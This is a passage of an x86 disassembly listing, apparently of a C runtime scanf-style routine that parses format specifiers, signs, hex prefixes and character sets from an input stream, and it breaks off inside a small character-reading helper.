		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_41D92A:				; CODE XREF: sub_41D797+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_41D948
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_41D944
		cmp	al, 43h
		jz	short loc_41D944
		or	[ebp+var_5], 0FFh
		jmp	short loc_41D948
; ---------------------------------------------------------------------------


loc_41D944:				; CODE XREF: sub_41D797+1A1j
					; sub_41D797+1A5j
		mov	[ebp+var_5], 1


loc_41D948:				; CODE XREF: sub_41D797+19Bj
					; sub_41D797+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_41D981
		cmp	esi, 63h
		jz	short loc_41D972
		cmp	esi, 7Bh
		jz	short loc_41D972
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41E224
		pop	ecx
		jmp	short loc_41D97D
; ---------------------------------------------------------------------------


loc_41D972:				; CODE XREF: sub_41D797+1C5j
					; sub_41D797+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3


loc_41D97D:				; CODE XREF: sub_41D797+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_41D981:				; CODE XREF: sub_41D797+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_41D991
		cmp	[ebp+var_C], eax
		jz	loc_41E16D


loc_41D991:				; CODE XREF: sub_41D797+1EFj
		cmp	esi, 6Fh
		jg	loc_41DBF8
		jz	loc_41DEAA
		cmp	esi, 63h
		jz	loc_41DBD5
		cmp	esi, 64h
		jz	loc_41DEAA
		jle	loc_41DC22
		cmp	esi, 67h
		jle	short loc_41D9F5
		cmp	esi, 69h
		jz	short loc_41D9DD
		cmp	esi, 6Eh
		jnz	loc_41DC22
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_41E0D8
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------


loc_41D9DD:				; CODE XREF: sub_41D797+229j
		push	64h
		pop	esi


loc_41D9E0:				; CODE XREF: sub_41D797+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_41DC6A
		mov	[ebp+var_17], 1
		jmp	loc_41DC6F
; ---------------------------------------------------------------------------


loc_41D9F5:				; CODE XREF: sub_41D797+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_41DA11
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_41DA16
; ---------------------------------------------------------------------------


loc_41DA11:				; CODE XREF: sub_41D797+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_41DA2D


loc_41DA16:				; CODE XREF: sub_41D797+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DA30
; ---------------------------------------------------------------------------


loc_41DA2D:				; CODE XREF: sub_41D797+27Dj
		mov	edi, [ebp+arg_0]


loc_41DA30:				; CODE XREF: sub_41D797+294j
		cmp	[ebp+var_20], 0
		jz	short loc_41DA3F
		cmp	[ebp+var_C], 15Dh
		jle	short loc_41DA46


loc_41DA3F:				; CODE XREF: sub_41D797+29Dj
		mov	[ebp+var_C], 15Dh


loc_41DA46:				; CODE XREF: sub_41D797+2A6j
					; sub_41D797+2F2j
		cmp	dword_4397AC, 1
		jle	short loc_41DA5B
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DA66
; ---------------------------------------------------------------------------


loc_41DA5B:				; CODE XREF: sub_41D797+2B6j
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41DA66:				; CODE XREF: sub_41D797+2C2j
		test	eax, eax
		jz	short loc_41DA8B
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DA8B
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DA46
; ---------------------------------------------------------------------------


loc_41DA8B:				; CODE XREF: sub_41D797+2D1j
					; sub_41D797+2DBj
		cmp	byte_4397B0, bl
		jnz	short loc_41DAF9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DAF9
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		mov	al, byte_4397B0
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_41DAB4:				; CODE XREF: sub_41D797+360j
		cmp	dword_4397AC, 1
		jle	short loc_41DAC9
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DAD4
; ---------------------------------------------------------------------------


loc_41DAC9:				; CODE XREF: sub_41D797+324j
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41DAD4:				; CODE XREF: sub_41D797+330j
		test	eax, eax
		jz	short loc_41DAF9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DAF9
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DAB4
; ---------------------------------------------------------------------------


loc_41DAF9:				; CODE XREF: sub_41D797+2FAj
					; sub_41D797+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_41DB91
		cmp	ebx, 65h
		jz	short loc_41DB11
		cmp	ebx, 45h
		jnz	loc_41DB91


loc_41DB11:				; CODE XREF: sub_41D797+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DB91
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_41DB38
		mov	[esi], al
		inc	esi
		jmp	short loc_41DB3D
; ---------------------------------------------------------------------------


loc_41DB38:				; CODE XREF: sub_41D797+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_41DB5B


loc_41DB3D:				; CODE XREF: sub_41D797+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_41DB4C
		and	[ebp+var_C], eax
		jmp	short loc_41DB5B
; ---------------------------------------------------------------------------


loc_41DB4C:				; CODE XREF: sub_41D797+3AEj
					; sub_41D797+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41DB5B:				; CODE XREF: sub_41D797+3A4j
					; sub_41D797+3B3j
		cmp	dword_4397AC, 1
		jle	short loc_41DB70
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DB7B
; ---------------------------------------------------------------------------


loc_41DB70:				; CODE XREF: sub_41D797+3CBj
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41DB7B:				; CODE XREF: sub_41D797+3D7j
		test	eax, eax
		jz	short loc_41DB91
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DB91
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_41DB4C
; ---------------------------------------------------------------------------


loc_41DB91:				; CODE XREF: sub_41D797+366j
					; sub_41D797+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41E20D
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_41E19D
		cmp	[ebp+var_E], 0
		jnz	loc_41E0FE
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43B908
		add	esp, 0Ch
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------


loc_41DBD5:				; CODE XREF: sub_41D797+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_41DBE4
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_41DBE4:				; CODE XREF: sub_41D797+441j
		cmp	[ebp+var_5], 0
		jle	short loc_41DBEE
		mov	[ebp+var_16], 1


loc_41DBEE:				; CODE XREF: sub_41D797+451j
		mov	edi, offset dword_43B930
		jmp	loc_41DD03
; ---------------------------------------------------------------------------


loc_41DBF8:				; CODE XREF: sub_41D797+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_41DEA6
		sub	eax, 3
		jz	loc_41DCF4
		dec	eax
		dec	eax
		jz	loc_41DEAA
		sub	eax, 3
		jz	loc_41D9E0
		sub	eax, 3
		jz	short loc_41DC46


loc_41DC22:				; CODE XREF: sub_41D797+21Bj
					; sub_41D797+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_41E16D
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_41E0FE
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------


loc_41DC46:				; CODE XREF: sub_41D797+489j
		cmp	[ebp+var_5], 0
		jle	short loc_41DC50
		mov	[ebp+var_16], 1


loc_41DC50:				; CODE XREF: sub_41D797+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_41DD07
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_41DD03
; ---------------------------------------------------------------------------


loc_41DC6A:				; CODE XREF: sub_41D797+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_41DC91


loc_41DC6F:				; CODE XREF: sub_41D797+259j
		dec	[ebp+var_C]
		jnz	short loc_41DC80
		cmp	[ebp+var_20], 0
		jz	short loc_41DC80
		mov	[ebp+var_F], 1
		jmp	short loc_41DC91
; ---------------------------------------------------------------------------


loc_41DC80:				; CODE XREF: sub_41D797+4DBj
					; sub_41D797+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41DC91:				; CODE XREF: sub_41D797+4D6j
					; sub_41D797+4E7j
		cmp	ebx, 30h
		jnz	loc_41DEDF
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_41DCDF
		cmp	bl, 58h
		jz	short loc_41DCDF
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_41DCC9
		push	6Fh


loc_41DCC3:				; CODE XREF: sub_41D797+55Bj
		pop	esi
		jmp	loc_41DEDF
; ---------------------------------------------------------------------------


loc_41DCC9:				; CODE XREF: sub_41D797+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41E20D
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_41DEDC
; ---------------------------------------------------------------------------


loc_41DCDF:				; CODE XREF: sub_41D797+517j
					; sub_41D797+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_41DCC3
; ---------------------------------------------------------------------------


loc_41DCF4:				; CODE XREF: sub_41D797+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_41DCFE
		mov	[ebp+var_16], 1


loc_41DCFE:				; CODE XREF: sub_41D797+561j
		mov	edi, offset dword_43B928


loc_41DD03:				; CODE XREF: sub_41D797+45Cj
					; sub_41D797+4CEj
		or	[ebp+var_18], 0FFh


loc_41DD07:				; CODE XREF: sub_41D797+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41DD2B
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_41DD2B
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_41DD2E
; ---------------------------------------------------------------------------


loc_41DD2B:				; CODE XREF: sub_41D797+584j
					; sub_41D797+589j
		mov	dl, [ebp+var_35]


loc_41DD2E:				; CODE XREF: sub_41D797+592j
					; sub_41D797+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_41DD93
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_41DD7A
		test	dl, dl
		jz	short loc_41DD7A
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_41DD7A
		inc	edi
		cmp	dl, cl
		jnb	short loc_41DD4D
		mov	al, cl
		jmp	short loc_41DD51
; ---------------------------------------------------------------------------


loc_41DD4D:				; CODE XREF: sub_41D797+5B0j
		mov	al, dl
		mov	dl, cl


loc_41DD51:				; CODE XREF: sub_41D797+5B4j
		cmp	dl, al
		ja	short loc_41DD76
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_41DD5E:				; CODE XREF: sub_41D797+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_41DD5E


loc_41DD76:				; CODE XREF: sub_41D797+5BCj
		xor	dl, dl
		jmp	short loc_41DD2E
; ---------------------------------------------------------------------------


loc_41DD7A:				; CODE XREF: sub_41D797+5A0j
					; sub_41D797+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_41DD2E
; ---------------------------------------------------------------------------


loc_41DD93:				; CODE XREF: sub_41D797+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_41E19D
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41DDA5
		mov	[ebp+arg_4], edi


loc_41DDA5:				; CODE XREF: sub_41D797+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_41E20D
		pop	ecx
		pop	ecx


loc_41DDBC:				; CODE XREF: sub_41D797+6BCj
					; sub_41D797+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_41DDD0
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_41DE6C


loc_41DDD0:				; CODE XREF: sub_41D797+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_41DE60
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_41DE60
		cmp	[ebp+var_E], 0
		jnz	short loc_41DE58
		cmp	[ebp+var_16], 0
		jz	short loc_41DE4D
		mov	ecx, off_4395A0
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41DE2C
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		pop	ecx
		mov	[ebp+var_37], al


loc_41DE2C:				; CODE XREF: sub_41D797+686j
		push	dword_4397AC
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_420E98
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_41DE50
; ---------------------------------------------------------------------------


loc_41DE4D:				; CODE XREF: sub_41D797+673j
		mov	[esi], al
		inc	esi


loc_41DE50:				; CODE XREF: sub_41D797+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_41DDBC
; ---------------------------------------------------------------------------


loc_41DE58:				; CODE XREF: sub_41D797+66Dj
		inc	[ebp+var_30]
		jmp	loc_41DDBC
; ---------------------------------------------------------------------------


loc_41DE60:				; CODE XREF: sub_41D797+649j
					; sub_41D797+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41E20D
		pop	ecx
		pop	ecx


loc_41DE6C:				; CODE XREF: sub_41D797+633j
		cmp	[ebp+var_30], esi
		jz	loc_41E19D
		cmp	[ebp+var_E], 0
		jnz	loc_41E0FE
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_41E0FE
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41DE9E
		and	word ptr [eax],	0
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------


loc_41DE9E:				; CODE XREF: sub_41D797+6FCj
		and	byte ptr [eax],	0
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------


loc_41DEA6:				; CODE XREF: sub_41D797+466j
		mov	[ebp+var_D], 1


loc_41DEAA:				; CODE XREF: sub_41D797+203j
					; sub_41D797+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_41DEB8
		mov	[ebp+var_17], 1
		jmp	short loc_41DEBD
; ---------------------------------------------------------------------------


loc_41DEB8:				; CODE XREF: sub_41D797+719j
		cmp	ebx, 2Bh
		jnz	short loc_41DEDF


loc_41DEBD:				; CODE XREF: sub_41D797+71Fj
		dec	[ebp+var_C]
		jnz	short loc_41DECE
		cmp	[ebp+var_20], 0
		jz	short loc_41DECE
		mov	[ebp+var_F], 1
		jmp	short loc_41DEDF
; ---------------------------------------------------------------------------


loc_41DECE:				; CODE XREF: sub_41D797+729j
					; sub_41D797+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		pop	ecx
		mov	ebx, eax


loc_41DEDC:				; CODE XREF: sub_41D797+543j
		mov	[ebp+var_14], ebx


loc_41DEDF:				; CODE XREF: sub_41D797+4FDj
					; sub_41D797+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_41DFF8
		cmp	[ebp+var_F], 0
		jnz	loc_41DFD6


loc_41DEF3:				; CODE XREF: sub_41D797+82Cj
		cmp	esi, 78h
		jnz	short loc_41DF47
		cmp	dword_4397AC, 1
		jle	short loc_41DF10
		push	80h
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DF1D
; ---------------------------------------------------------------------------


loc_41DF10:				; CODE XREF: sub_41D797+768j
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_41DF1D:				; CODE XREF: sub_41D797+777j
		test	eax, eax
		jz	loc_41DFC8
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_420F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_41E1BC
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DF9A
; ---------------------------------------------------------------------------


loc_41DF47:				; CODE XREF: sub_41D797+75Fj
		cmp	dword_4397AC, 1
		jle	short loc_41DF5C
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DF67
; ---------------------------------------------------------------------------


loc_41DF5C:				; CODE XREF: sub_41D797+7B7j
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41DF67:				; CODE XREF: sub_41D797+7C3j
		test	eax, eax
		jz	short loc_41DFC8
		cmp	esi, 6Fh
		jnz	short loc_41DF85
		cmp	ebx, 38h
		jge	short loc_41DFC8
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_420F90
		jmp	short loc_41DF94
; ---------------------------------------------------------------------------


loc_41DF85:				; CODE XREF: sub_41D797+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_417760


loc_41DF94:				; CODE XREF: sub_41D797+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_41DF9A:				; CODE XREF: sub_41D797+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_41DFB2
		dec	[ebp+var_C]
		jz	short loc_41DFD6


loc_41DFB2:				; CODE XREF: sub_41D797+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41DEF3
; ---------------------------------------------------------------------------


loc_41DFC8:				; CODE XREF: sub_41D797+788j
					; sub_41D797+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41E20D
		pop	ecx
		pop	ecx


loc_41DFD6:				; CODE XREF: sub_41D797+756j
					; sub_41D797+819j
		cmp	[ebp+var_17], 0
		jz	loc_41E0BC
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_41E0BC
; ---------------------------------------------------------------------------


loc_41DFF8:				; CODE XREF: sub_41D797+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_41E0B4


loc_41E002:				; CODE XREF: sub_41D797+90Aj
		cmp	esi, 78h
		jz	short loc_41E046
		cmp	esi, 70h
		jz	short loc_41E046
		cmp	dword_4397AC, 1
		jle	short loc_41E021
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------


loc_41E021:				; CODE XREF: sub_41D797+87Cj
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41E02C:				; CODE XREF: sub_41D797+888j
		test	eax, eax
		jz	short loc_41E0A6
		cmp	esi, 6Fh
		jnz	short loc_41E03F
		cmp	ebx, 38h
		jge	short loc_41E0A6
		shl	edi, 3
		jmp	short loc_41E07E
; ---------------------------------------------------------------------------


loc_41E03F:				; CODE XREF: sub_41D797+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_41E07E
; ---------------------------------------------------------------------------


loc_41E046:				; CODE XREF: sub_41D797+86Ej
					; sub_41D797+873j
		cmp	dword_4397AC, 1
		jle	short loc_41E05E
		push	80h
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41E06B
; ---------------------------------------------------------------------------


loc_41E05E:				; CODE XREF: sub_41D797+8B6j
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_41E06B:				; CODE XREF: sub_41D797+8C5j
		test	eax, eax
		jz	short loc_41E0A6
		push	ebx
		shl	edi, 4
		call	sub_41E1BC
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41E07E:				; CODE XREF: sub_41D797+8A6j
					; sub_41D797+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_41E090
		dec	[ebp+var_C]
		jz	short loc_41E0B4


loc_41E090:				; CODE XREF: sub_41D797+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41E002
; ---------------------------------------------------------------------------


loc_41E0A6:				; CODE XREF: sub_41D797+897j
					; sub_41D797+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41E20D
		pop	ecx
		pop	ecx


loc_41E0B4:				; CODE XREF: sub_41D797+865j
					; sub_41D797+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_41E0BC
		neg	edi


loc_41E0BC:				; CODE XREF: sub_41D797+843j
					; sub_41D797+85Cj ...
		cmp	esi, 46h
		jnz	short loc_41E0C5
		and	[ebp+var_1C], 0


loc_41E0C5:				; CODE XREF: sub_41D797+928j
		cmp	[ebp+var_1C], 0
		jz	loc_41E19D
		cmp	[ebp+var_E], 0
		jnz	short loc_41E0FE
		inc	[ebp+var_34]


loc_41E0D8:				; CODE XREF: sub_41D797+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_41E0EE
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_41E0FE
; ---------------------------------------------------------------------------


loc_41E0EE:				; CODE XREF: sub_41D797+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41E0FB
		mov	[eax], edi
		jmp	short loc_41E0FE
; ---------------------------------------------------------------------------


loc_41E0FB:				; CODE XREF: sub_41D797+95Ej
		mov	[eax], di


loc_41E0FE:				; CODE XREF: sub_41D797+241j
					; sub_41D797+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E14B
; ---------------------------------------------------------------------------


loc_41E109:				; CODE XREF: sub_41D797+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_41E178
		mov	ecx, off_4395A0
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41E14B
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_41E186
		dec	[ebp+var_4]


loc_41E14B:				; CODE XREF: sub_41D797+970j
					; sub_41D797+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41E161
		cmp	byte ptr [esi],	25h
		jnz	short loc_41E1A3
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_41E1A3
		mov	esi, eax


loc_41E161:				; CODE XREF: sub_41D797+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_41D7C1
		jmp	short loc_41E19D
; ---------------------------------------------------------------------------


loc_41E16D:				; CODE XREF: sub_41D797+1F4j
					; sub_41D797+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_41E17D
; ---------------------------------------------------------------------------


loc_41E178:				; CODE XREF: sub_41D797+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_41E17D:				; CODE XREF: sub_41D797+9DFj
		call	sub_41E20D
		pop	ecx
		pop	ecx
		jmp	short loc_41E19D
; ---------------------------------------------------------------------------


loc_41E186:				; CODE XREF: sub_41D797+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41E20D
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41E20D
		add	esp, 10h


loc_41E19D:				; CODE XREF: sub_41D797+1Fj
					; sub_41D797+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41E1B4


loc_41E1A3:				; CODE XREF: sub_41D797+9BDj
					; sub_41D797+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_41E1B7
		cmp	[ebp+var_15], al
		jnz	short loc_41E1B7
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E1B7
; ---------------------------------------------------------------------------


loc_41E1B4:				; CODE XREF: sub_41D797+A0Aj
		mov	eax, [ebp+var_34]


loc_41E1B7:				; CODE XREF: sub_41D797+A11j
					; sub_41D797+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D797	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E1BC	proc near		; CODE XREF: sub_41D797+7A3p
					; sub_41D797+8DCp

arg_0		= dword	ptr  4

		cmp	dword_4397AC, 1
		push	esi
		jle	short loc_41E1D6
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41E1E5
; ---------------------------------------------------------------------------


loc_41E1D6:				; CODE XREF: sub_41E1BC+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_4395A0
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41E1E5:				; CODE XREF: sub_41E1BC+18j
		test	eax, eax
		jnz	short loc_41E1EF
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_41E1EF:				; CODE XREF: sub_41E1BC+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_41E1BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E1F3	proc near		; CODE XREF: sub_41D797+1E1p
					; sub_41D797+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_41E205
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


